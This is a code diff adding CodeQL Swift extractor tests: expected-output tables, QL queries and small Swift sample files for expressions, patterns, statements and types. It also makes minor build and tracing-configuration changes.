+| expressions.swift:60:35:60:61 | CallExpr |
+| expressions.swift:60:59:60:59 | DeclRefExpr |
+| expressions.swift:64:8:64:8 | DeclRefExpr |
+| expressions.swift:64:8:64:12 | BinaryExpr |
+| expressions.swift:64:10:64:10 | DeclRefExpr |
+| expressions.swift:64:10:64:10 | DotSyntaxCallExpr |
+| expressions.swift:64:10:64:10 | TypeExpr |
+| expressions.swift:64:12:64:12 | IntegerLiteralExpr |
+| expressions.swift:73:5:73:5 | DeclRefExpr |
+| expressions.swift:73:5:73:5 | MemberRefExpr |
+| expressions.swift:73:5:73:10 | AssignExpr |
+| expressions.swift:73:10:73:10 | DeclRefExpr |
+| expressions.swift:77:7:77:7 | CallExpr |
+| expressions.swift:77:7:77:7 | DeclRefExpr |
+| expressions.swift:77:7:77:7 | MagicIdentifierLiteralExpr |
+| expressions.swift:77:7:77:7 | MagicIdentifierLiteralExpr |
+| expressions.swift:77:7:77:7 | MagicIdentifierLiteralExpr |
+| expressions.swift:77:7:77:7 | MagicIdentifierLiteralExpr |
+| expressions.swift:77:7:77:7 | StringLiteralExpr |
+| expressions.swift:79:5:79:5 | SuperRefExpr |
+| expressions.swift:79:5:79:11 | DotSyntaxCallExpr |
+| expressions.swift:79:5:79:21 | CallExpr |
+| expressions.swift:79:5:79:21 | RebindSelfInConstructorExpr |
+| expressions.swift:79:11:79:11 | TBD (OtherConstructorDeclRefExpr) |
+| expressions.swift:79:19:79:19 | IntegerLiteralExpr |
+| expressions.swift:83:15:83:15 | ConstructorRefCallExpr |
+| expressions.swift:83:15:83:15 | DeclRefExpr |
+| expressions.swift:83:15:83:15 | TypeExpr |
+| expressions.swift:83:15:83:23 | CallExpr |
+| expressions.swift:84:1:84:1 | DiscardAssignmentExpr |
+| expressions.swift:84:1:84:13 | AssignExpr |
+| expressions.swift:84:5:84:5 | DeclRefExpr |
+| expressions.swift:84:5:84:5 | DerivedToBaseExpr |
+| expressions.swift:84:5:84:13 | MemberRefExpr |
+| expressions.swift:87:1:87:1 | DeclRefExpr |
+| expressions.swift:87:1:87:4 | ForceValueExpr |
+| expressions.swift:88:1:88:1 | DeclRefExpr |
+| expressions.swift:88:1:88:6 | SubscriptExpr |
+| expressions.swift:88:1:88:7 | ForceValueExpr |
+| expressions.swift:88:3:88:3 | StringLiteralExpr |
+| expressions.swift:92:14:92:14 | TypeExpr |
+| expressions.swift:92:14:92:24 | DotSyntaxCallExpr |
+| expressions.swift:92:14:92:44 | CallExpr |
+| expressions.swift:92:14:92:46 | DotSyntaxCallExpr |
+| expressions.swift:92:14:92:55 | CallExpr |
+| expressions.swift:92:24:92:24 | DeclRefExpr |
+| expressions.swift:92:37:92:37 | ConstructorRefCallExpr |
+| expressions.swift:92:37:92:37 | DeclRefExpr |
+| expressions.swift:92:37:92:37 | TypeExpr |
+| expressions.swift:92:37:92:43 | CallExpr |
+| expressions.swift:92:46:92:46 | DeclRefExpr |
+| expressions.swift:93:1:93:16 | TypeExpr |
+| expressions.swift:93:1:93:18 | DotSyntaxCallExpr |
+| expressions.swift:93:1:93:35 | CallExpr |
+| expressions.swift:93:18:93:18 | DeclRefExpr |
+| expressions.swift:93:29:93:29 | DeclRefExpr |
+| expressions.swift:93:29:93:29 | PointerToPointerExpr |
diff --git a/swift/ql/test/extractor-tests/expressions/all.ql b/swift/ql/test/extractor-tests/expressions/all.ql
new file mode 100644
index 00000000000..1d8c0cd24c7
--- /dev/null
+++ b/swift/ql/test/extractor-tests/expressions/all.ql
@@ -0,0 +1,5 @@
+import swift
+
+from Expr expr
+where expr.getLocation().getFile().getName().matches("%swift/ql/test%")
+select expr
diff --git a/swift/ql/test/extractor-tests/expressions/expressions.swift b/swift/ql/test/extractor-tests/expressions/expressions.swift
new file mode 100644
index 00000000000..ff264aa53d8
--- /dev/null
+++ b/swift/ql/test/extractor-tests/expressions/expressions.swift
@@ -0,0 +1,93 @@
+let a = 15
+let b = 15.15
+let b1 = true
+let b2 = false
+let m = #file
+let s = "hello world"
+let s1 = "hello \(a)"
+let n: Int? = nil
+
+enum AnError: Error {
+  case failed
+}
+
+func failure(_ x: Int) throws {
+  guard x != 0 else {
+    throw AnError.failed
+  }
+}
+
+try! failure(11)
+try? failure(11)
+
+class Klass {
+  init() {}
+}
+
+let klass = Klass()
+
+let d = ["1" : "2"]
+_ = 15
+_ = 15 is Int
+_ = 15 as Double
+_ = 15 as? Double
+_ = 15 as! Double
+print(d["1"])
+
+func closured(closure: (Int, Int) -> Int) {
+  closure(5, 7)
+}
+
+closured { (x: Int, y: Int) -> Int in
+    return x + y
+}
+closured { x, y in
+    return x + y
+}
+closured { return $0 + $1 }
+closured { $0 + $1 }
+
+struct S {
+  let x: Int
+}
+
+_ = \S.x
+
+func unsafeFunction(pointer: UnsafePointer<Int>) {
+}
+var myNumber = 1234
+unsafeFunction(pointer: &myNumber)
+withUnsafePointer(to: myNumber) { unsafeFunction(pointer: $0) }
+
+class FailingToInit {
+  init?(x: Int) {
+    if x < 0 {
+      return nil
+    }
+  }
+}
+
+class Base {
+  let xx: Int
+  init(x: Int) {
+    xx = x
+  }
+}
+
+class Derived: Base {
+  init() {
+    super.init(x: 22)
+  }
+}
+
+let derived = Derived()
+_ = derived.xx
+
+var opt: Int?
+opt!
+d["a"]!
+
+class ToPtr {}
+
+let opaque = Unmanaged.passRetained(ToPtr()).toOpaque()
+Unmanaged<ToPtr>.fromOpaque(opaque)
diff --git a/swift/ql/test/extractor-tests/patterns/all.expected b/swift/ql/test/extractor-tests/patterns/all.expected
new file mode 100644
index 00000000000..af4caf5feff
--- /dev/null
+++ b/swift/ql/test/extractor-tests/patterns/all.expected
@@ -0,0 +1,41 @@
+| patterns.swift:2:9:2:9 | NamedPattern |
+| patterns.swift:3:9:3:9 | NamedPattern |
+| patterns.swift:3:9:3:19 | TypedPattern |
+| patterns.swift:4:9:4:17 | TuplePattern |
+| patterns.swift:4:10:4:10 | NamedPattern |
+| patterns.swift:4:13:4:13 | NamedPattern |
+| patterns.swift:4:16:4:16 | NamedPattern |
+| patterns.swift:5:9:5:9 | AnyPattern |
+| patterns.swift:6:9:6:11 | ParenPattern |
+| patterns.swift:6:10:6:10 | AnyPattern |
+| patterns.swift:10:9:10:9 | NamedPattern |
+| patterns.swift:12:10:12:21 | BindingPattern |
+| patterns.swift:12:14:12:21 | TuplePattern |
+| patterns.swift:12:15:12:15 | NamedPattern |
+| patterns.swift:12:19:12:19 | NamedPattern |
+| patterns.swift:16:10:16:14 | ExprPattern |
+| patterns.swift:17:10:17:10 | AnyPattern |
+| patterns.swift:24:9:24:9 | NamedPattern |
+| patterns.swift:24:9:24:12 | TypedPattern |
+| patterns.swift:27:10:27:11 | EnumElementPattern |
+| patterns.swift:28:10:28:23 | BindingPattern |
+| patterns.swift:28:14:28:23 | EnumElementPattern |
+| patterns.swift:28:18:28:23 | TuplePattern |
+| patterns.swift:28:19:28:19 | NamedPattern |
+| patterns.swift:28:22:28:22 | NamedPattern |
+| patterns.swift:31:9:31:9 | NamedPattern |
+| patterns.swift:31:9:31:15 | TypedPattern |
+| patterns.swift:34:10:34:15 | BindingPattern |
+| patterns.swift:34:14:34:14 | NamedPattern |
+| patterns.swift:34:14:34:15 | OptionalSomePattern |
+| patterns.swift:35:10:35:10 | AnyPattern |
+| patterns.swift:38:9:38:9 | NamedPattern |
+| patterns.swift:38:9:38:12 | TypedPattern |
+| patterns.swift:41:10:41:13 | IsPattern |
+| patterns.swift:42:10:42:19 | BindingPattern |
+| patterns.swift:42:14:42:14 | NamedPattern |
+| patterns.swift:42:14:42:19 | IsPattern |
+| patterns.swift:43:10:43:10 | AnyPattern |
+| patterns.swift:46:9:46:9 | NamedPattern |
+| patterns.swift:49:10:49:10 | BoolPattern |
+| patterns.swift:50:10:50:10 | BoolPattern |
diff --git a/swift/ql/test/extractor-tests/patterns/all.ql b/swift/ql/test/extractor-tests/patterns/all.ql
new file mode 100644
index 00000000000..f8c8bc7dc44
--- /dev/null
+++ b/swift/ql/test/extractor-tests/patterns/all.ql
@@ -0,0 +1,5 @@
+import codeql.swift.elements
+
+from Pattern p
+where p.getLocation().getFile().getName().matches("%swift/ql/test%")
+select p
diff --git a/swift/ql/test/extractor-tests/patterns/patterns.swift b/swift/ql/test/extractor-tests/patterns/patterns.swift
new file mode 100644
index 00000000000..ebc369310c9
--- /dev/null
+++ b/swift/ql/test/extractor-tests/patterns/patterns.swift
@@ -0,0 +1,52 @@
+func basic_patterns() {
+    var an_int = 42
+    var a_string: String = "here"
+    let (x, y, z) = (1, 2, 3)
+    let _ = "any"
+    let (_) = "paren"
+}
+
+func switch_patterns() {
+    let point = (1, 2)
+    switch point {
+    case let (xx, yy): "binding"
+    }
+
+    switch 3 {
+    case 1 + 2: "expr"
+    case _: ""
+    }
+
+    enum Foo {
+        case bar, baz(Int, String)
+    }
+
+    let v: Foo = .bar
+
+    switch v {
+    case .bar: "bar"
+    case let .baz(i, s): i
+    }
+
+    let w: Int? = nil
+
+    switch w {
+    case let n?: n
+    case _: "none"
+    }
+
+    let a: Any = "any"
+
+    switch a {
+    case is Int: "is pattern"
+    case let x as String: "as pattern"
+    case _: "other"
+    }
+
+    let b = true
+
+    switch b {
+    case true: "true"
+    case false: "false"
+    }
+}
diff --git a/swift/ql/test/extractor-tests/statements/ConditionElements.expected b/swift/ql/test/extractor-tests/statements/ConditionElements.expected
new file mode 100644
index 00000000000..e7fae469551
--- /dev/null
+++ b/swift/ql/test/extractor-tests/statements/ConditionElements.expected
@@ -0,0 +1,7 @@
+| main.swift:3:8:3:13 | ConditionElement | main.swift:3:8:3:13 | BinaryExpr |
+| main.swift:10:17:10:24 | ConditionElement | main.swift:10:17:10:24 | ParenExpr |
+| main.swift:39:9:39:14 | ConditionElement | main.swift:39:9:39:14 | BinaryExpr |
+| main.swift:65:4:65:19 | ConditionElement | main.swift:65:9:65:15 | BindingPattern |
+| main.swift:65:4:65:19 | ConditionElement | main.swift:65:19:65:19 | DeclRefExpr |
+| main.swift:67:4:67:20 | ConditionElement | main.swift:67:9:67:16 | EnumElementPattern |
+| main.swift:67:4:67:20 | ConditionElement | main.swift:67:20:67:20 | DeclRefExpr |
diff --git a/swift/ql/test/extractor-tests/statements/ConditionElements.ql b/swift/ql/test/extractor-tests/statements/ConditionElements.ql
new file mode 100644
index 00000000000..2415ea38663
--- /dev/null
+++ b/swift/ql/test/extractor-tests/statements/ConditionElements.ql
@@ -0,0 +1,11 @@
+import swift
+
+from ConditionElement e, AstNode underlying
+where
+  e.getLocation().getFile().getName().matches("%swift/ql/test%") and
+  (
+    underlying = e.getBoolean() or
+    underlying = e.getPattern() or
+    underlying = e.getInitializer()
+  )
+select e, underlying
diff --git a/swift/ql/test/extractor-tests/statements/LabeledConditionalStmts.expected b/swift/ql/test/extractor-tests/statements/LabeledConditionalStmts.expected
new file mode 100644
index 00000000000..783fbc5acf1
--- /dev/null
+++ b/swift/ql/test/extractor-tests/statements/LabeledConditionalStmts.expected
@@ -0,0 +1,5 @@
+| GuardStmt | main.swift:39:9:39:14 | StmtCondition |
+| IfStmt | main.swift:3:8:3:13 | StmtCondition |
+| IfStmt | main.swift:65:4:65:19 | StmtCondition |
+| IfStmt | main.swift:67:4:67:20 | StmtCondition |
+| WhileStmt | main.swift:10:17:10:24 | StmtCondition |
diff --git a/swift/ql/test/extractor-tests/statements/LabeledConditionalStmts.ql b/swift/ql/test/extractor-tests/statements/LabeledConditionalStmts.ql
new file mode 100644
index 00000000000..5ac73349402
--- /dev/null
+++ b/swift/ql/test/extractor-tests/statements/LabeledConditionalStmts.ql
@@ -0,0 +1,5 @@
+import swift
+
+from LabeledConditionalStmt s
+where s.getLocation().getFile().getName().matches("%swift/ql/test%")
+select s.getAPrimaryQlClass(), s.getCondition()
diff --git a/swift/ql/test/extractor-tests/statements/LabeledStmts.expected b/swift/ql/test/extractor-tests/statements/LabeledStmts.expected
new file mode 100644
index 00000000000..99a58ea9e82
--- /dev/null
+++ b/swift/ql/test/extractor-tests/statements/LabeledStmts.expected
@@ -0,0 +1,12 @@
+| main.swift:2:3:8:3 | ForEachStmt |
+| main.swift:3:5:7:5 | IfStmt |
+| main.swift:10:3:12:3 | WhileStmt |
+| main.swift:15:3:17:18 | RepeatWhileStmt |
+| main.swift:19:3:23:3 | DoCatchStmt |
+| main.swift:25:3:31:3 | DoCatchStmt |
+| main.swift:39:3:41:3 | GuardStmt |
+| main.swift:48:1:50:1 | DoStmt |
+| main.swift:53:1:62:1 | SwitchStmt |
+| main.swift:65:1:66:1 | IfStmt |
+| main.swift:67:1:68:1 | IfStmt |
+| main.swift:71:1:72:1 | ForEachStmt |
diff --git a/swift/ql/test/extractor-tests/statements/LabeledStmts.ql b/swift/ql/test/extractor-tests/statements/LabeledStmts.ql
new file mode 100644
index 00000000000..de9dc8251bd
--- /dev/null
+++ b/swift/ql/test/extractor-tests/statements/LabeledStmts.ql
@@ -0,0 +1,5 @@
+import swift
+
+from LabeledStmt stmt
+where stmt.getLocation().getFile().getName().matches("%swift/ql/test%")
+select stmt
diff --git a/swift/ql/test/extractor-tests/statements/Labels.expected b/swift/ql/test/extractor-tests/statements/Labels.expected
new file mode 100644
index 00000000000..d00e90e0260
--- /dev/null
+++ b/swift/ql/test/extractor-tests/statements/Labels.expected
@@ -0,0 +1,3 @@
+| main.swift:2:3:8:3 | ForEachStmt | label1 |
+| main.swift:10:3:12:3 | WhileStmt | label2 |
+| main.swift:15:3:17:18 | RepeatWhileStmt | label3 |
diff --git a/swift/ql/test/extractor-tests/statements/Labels.ql b/swift/ql/test/extractor-tests/statements/Labels.ql
new file mode 100644
index 00000000000..0ca16a79294
--- /dev/null
+++ b/swift/ql/test/extractor-tests/statements/Labels.ql
@@ -0,0 +1,5 @@
+import swift
+
+from LabeledStmt stmt
+where stmt.getLocation().getFile().getName().matches("%swift/ql/test%")
+select stmt, stmt.getLabel()
diff --git a/swift/ql/test/extractor-tests/statements/main.swift b/swift/ql/test/extractor-tests/statements/main.swift
new file mode 100644
index 00000000000..19675386023
--- /dev/null
+++ b/swift/ql/test/extractor-tests/statements/main.swift
@@ -0,0 +1,72 @@
+func loop() {
+  label1: for i in 1...5 {
+    if i == 3 {
+        break
+    } else {
+        continue
+    }
+  }
+  var i = 0
+  label2: while (i < 12) {
+    i = i + 1
+  }
+
+  i = 0
+  label3: repeat {
+    i = i + 1
+  } while (i < 12)
+
+  do {
+    try failure(11)
+  } catch {
+    print("error")
+  }
+
+  do {
+    try failure(11)
+  } catch AnError.failed {
+    print("AnError.failed")
+  } catch {
+    print("error")
+  }
+}
+
+enum AnError: Error {
+  case failed
+}
+
+func failure(_ x: Int) throws {
+  guard x != 0 else {
+    throw AnError.failed
+  }
+}
+
+defer {
+  print("done")
+}
+
+do {
+  print("doing")
+}
+
+let index = 42
+switch index {
+   case 1:
+      print("1")
+      fallthrough
+   case 5, 10:
+      print("5, 10")
+      break
+   default:
+      print("default")
+}
+
+let x: Int? = 4
+if case let xx? = x {
+}
+if case .some(_) = x {
+}
+
+let numbers = [1, 2, 3]
+for number in numbers where number % 2 == 0 {
+}
diff --git a/swift/ql/test/extractor-tests/types/ClassDecls.expected b/swift/ql/test/extractor-tests/types/ClassDecls.expected
new file mode 100644
index 00000000000..d70b5531583
--- /dev/null
+++ b/swift/ql/test/extractor-tests/types/ClassDecls.expected
@@ -0,0 +1,2 @@
+| types.swift:9:1:11:1 | ClassDecl | ClassType | <no parent> |
+| types.swift:10:1:10:15 | ClassDecl | ClassType | ClassType |
diff --git a/swift/ql/test/extractor-tests/types/ClassDecls.ql b/swift/ql/test/extractor-tests/types/ClassDecls.ql
new file mode 100644
index 00000000000..4f389650069
--- /dev/null
+++ b/swift/ql/test/extractor-tests/types/ClassDecls.ql
@@ -0,0 +1,12 @@
+import codeql.swift.elements
+
+from Decl d, ClassType s, string parent
+where
+  d.getLocation().getFile().getName().matches("%swift/ql/test%") and
+  d = s.getDeclaration() and
+  (
+    parent = s.getParent().toString()
+    or
+    not exists(s.getParent()) and parent = "<no parent>"
+  )
+select d, s, parent
diff --git a/swift/ql/test/extractor-tests/types/StructDecls.expected b/swift/ql/test/extractor-tests/types/StructDecls.expected
new file mode 100644
index 00000000000..a080b049f0b
--- /dev/null
+++ b/swift/ql/test/extractor-tests/types/StructDecls.expected
@@ -0,0 +1 @@
+| types.swift:5:1:5:11 | StructDecl | StructType | <no parent> |
diff --git a/swift/ql/test/extractor-tests/types/StructDecls.ql b/swift/ql/test/extractor-tests/types/StructDecls.ql
new file mode 100644
index 00000000000..4e255584b7f
--- /dev/null
+++ b/swift/ql/test/extractor-tests/types/StructDecls.ql
@@ -0,0 +1,12 @@
+import codeql.swift.elements
+
+from Decl d, StructType s, string parent
+where
+  d.getLocation().getFile().getName().matches("%swift/ql/test%") and
+  d = s.getDeclaration() and
+  (
+    parent = s.getParent().toString()
+    or
+    not exists(s.getParent()) and parent = "<no parent>"
+  )
+select d, s, parent
diff --git a/swift/ql/test/extractor-tests/types/Types.expected b/swift/ql/test/extractor-tests/types/Types.expected
new file mode 100644
index 00000000000..052c66b8b74
--- /dev/null
+++ b/swift/ql/test/extractor-tests/types/Types.expected
@@ -0,0 +1,35 @@
+| types.swift:1:9:1:9 | IntegerLiteralExpr | StructType |
+| types.swift:3:1:3:1 | DeclRefExpr | FunctionType |
+| types.swift:3:1:3:13 | CallExpr | TupleType |
+| types.swift:3:6:3:6 | DefaultArgumentExpr | StructType |
+| types.swift:3:6:3:6 | DefaultArgumentExpr | StructType |
+| types.swift:3:7:3:7 | DeclRefExpr | StructType |
+| types.swift:3:7:3:11 | ArrayExpr | TBD (VariadicSequenceType) |
+| types.swift:3:7:3:11 | BinaryExpr | StructType |
+| types.swift:3:7:3:11 | ErasureExpr | TBD (ProtocolCompositionType) |
+| types.swift:3:7:3:11 | VarargExpansionExpr | TBD (VariadicSequenceType) |
+| types.swift:3:9:3:9 | DeclRefExpr | FunctionType |
+| types.swift:3:9:3:9 | DotSyntaxCallExpr | FunctionType |
+| types.swift:3:9:3:9 | TypeExpr | MetatypeType |
+| types.swift:3:11:3:11 | IntegerLiteralExpr | StructType |
+| types.swift:7:16:7:16 | ConstructorRefCallExpr | FunctionType |
+| types.swift:7:16:7:16 | DeclRefExpr | FunctionType |
+| types.swift:7:16:7:16 | TypeExpr | MetatypeType |
+| types.swift:7:16:7:18 | CallExpr | StructType |
+| types.swift:13:17:13:17 | ConstructorRefCallExpr | FunctionType |
+| types.swift:13:17:13:17 | DeclRefExpr | FunctionType |
+| types.swift:13:17:13:17 | TypeExpr | MetatypeType |
+| types.swift:13:17:13:19 | CallExpr | ClassType |
+| types.swift:14:22:14:24 | ConstructorRefCallExpr | FunctionType |
+| types.swift:14:22:14:24 | TypeExpr | MetatypeType |
+| types.swift:14:22:14:31 | CallExpr | ClassType |
+| types.swift:14:24:14:24 | DeclRefExpr | FunctionType |
+| types.swift:17:10:17:10 | DeclRefExpr | StructType |
+| types.swift:17:10:17:14 | BinaryExpr | StructType |
+| types.swift:17:12:17:12 | DeclRefExpr | FunctionType |
+| types.swift:17:12:17:12 | DotSyntaxCallExpr | FunctionType |
+| types.swift:17:12:17:12 | TypeExpr | MetatypeType |
+| types.swift:17:14:17:14 | DeclRefExpr | StructType |
+| types.swift:21:10:21:10 | DeclRefExpr | FunctionType |
+| types.swift:21:10:21:13 | CallExpr | StructType |
+| types.swift:21:12:21:12 | DeclRefExpr | StructType |
diff --git a/swift/ql/test/extractor-tests/types/Types.ql b/swift/ql/test/extractor-tests/types/Types.ql
new file mode 100644
index 00000000000..96f8f21d557
--- /dev/null
+++ b/swift/ql/test/extractor-tests/types/Types.ql
@@ -0,0 +1,7 @@
+import codeql.swift.elements
+
+from Expr e, Type t
+where
+  e.getLocation().getFile().getName().matches("%swift/ql/test%") and
+  t = e.getType()
+select e, t
diff --git a/swift/ql/test/extractor-tests/types/types.swift b/swift/ql/test/extractor-tests/types/types.swift
new file mode 100644
index 00000000000..1eb8a56c452
--- /dev/null
+++ b/swift/ql/test/extractor-tests/types/types.swift
@@ -0,0 +1,22 @@
+let x = 42
+
+print(x + 10)
+
+struct X {}
+
+let instance = X()
+
+class C {
+class Nested {}
+}
+
+let cinstance = C()
+let nestedinstance = C.Nested()
+
+func f(x: Int, y: Int) -> Int {
+  return x + y
+}
+
+func g(_ f: (Int) -> Int, _ x: Int) -> Int {
+  return f(x)
+}
diff --git a/swift/tools/prebuilt/BUILD.bazel b/swift/tools/prebuilt/BUILD.bazel
new file mode 100644
index 00000000000..1abd461f9e8
--- /dev/null
+++ b/swift/tools/prebuilt/BUILD.bazel
@@ -0,0 +1,11 @@
+package(default_visibility = ["//swift:__subpackages__"])
+
+[
+    alias(
+        name = name,
+        actual = select({
+            "@bazel_tools//src/conditions:%s" % arch: "@swift_prebuilt_%s//:%s" % (arch, name)
+            for arch in ("linux", "darwin_x86_64", "darwin_arm64")
+        }),
+    ) for name in ("swift-llvm-support", "swift-test-sdk")
+]
diff --git a/swift/extractor/BUILD.swift-prebuilt.bazel b/swift/tools/prebuilt/BUILD.swift-prebuilt.bazel
similarity index 100%
rename from swift/extractor/BUILD.swift-prebuilt.bazel
rename to swift/tools/prebuilt/BUILD.swift-prebuilt.bazel
diff --git a/swift/tools/qltest.sh b/swift/tools/qltest.sh
index 22043cf940e..9da3a32b6d7 100755
--- a/swift/tools/qltest.sh
+++ b/swift/tools/qltest.sh
@@ -4,4 +4,6 @@ mkdir -p "$CODEQL_EXTRACTOR_SWIFT_TRAP_DIR"
 
 QLTEST_LOG="$CODEQL_EXTRACTOR_SWIFT_LOG_DIR"/qltest.log
 
+export LD_LIBRARY_PATH="$CODEQL_EXTRACTOR_SWIFT_ROOT/tools/$CODEQL_PLATFORM"
+
 exec "$CODEQL_EXTRACTOR_SWIFT_ROOT/tools/$CODEQL_PLATFORM/extractor" -sdk "$CODEQL_EXTRACTOR_SWIFT_ROOT/qltest/$CODEQL_PLATFORM/sdk" -c *.swift >> $QLTEST_LOG 2>&1
diff --git a/swift/tools/tracing-config.lua b/swift/tools/tracing-config.lua
index b59dddc4678..9352b9f27b8 100644
--- a/swift/tools/tracing-config.lua
+++ b/swift/tools/tracing-config.lua
@@ -13,8 +13,12 @@ function RegisterExtractorPack(id)
         table.remove(compilerArguments.argv, 1)
 
         -- Skip "info" queries in case there is nothing to extract
-        if compilerArguments.argv[1] == '-print-target-info' then return nil end
-        if compilerArguments.argv[1] == '-emit-supported-features' then return nil end
+        if compilerArguments.argv[1] == '-print-target-info' then
+            return nil
+        end
+        if compilerArguments.argv[1] == '-emit-supported-features' then
+            return nil
+        end
 
         -- Skip actions in which we cannot extract anything
         if compilerArguments.argv[1] == '-merge-modules' then return nil end
@@ -22,10 +26,11 @@ function RegisterExtractorPack(id)
         return {
             trace = true,
             replace = false,
-            invocations = {{path = swiftExtractor, arguments = compilerArguments}}
+            order = ORDER_AFTER,
+            invocation = {path = swiftExtractor, arguments = compilerArguments}
         }
     end
-    return { SwiftMatcher }
+    return {SwiftMatcher}
 end
 
 -- Return a list of minimum supported versions of the configuration file format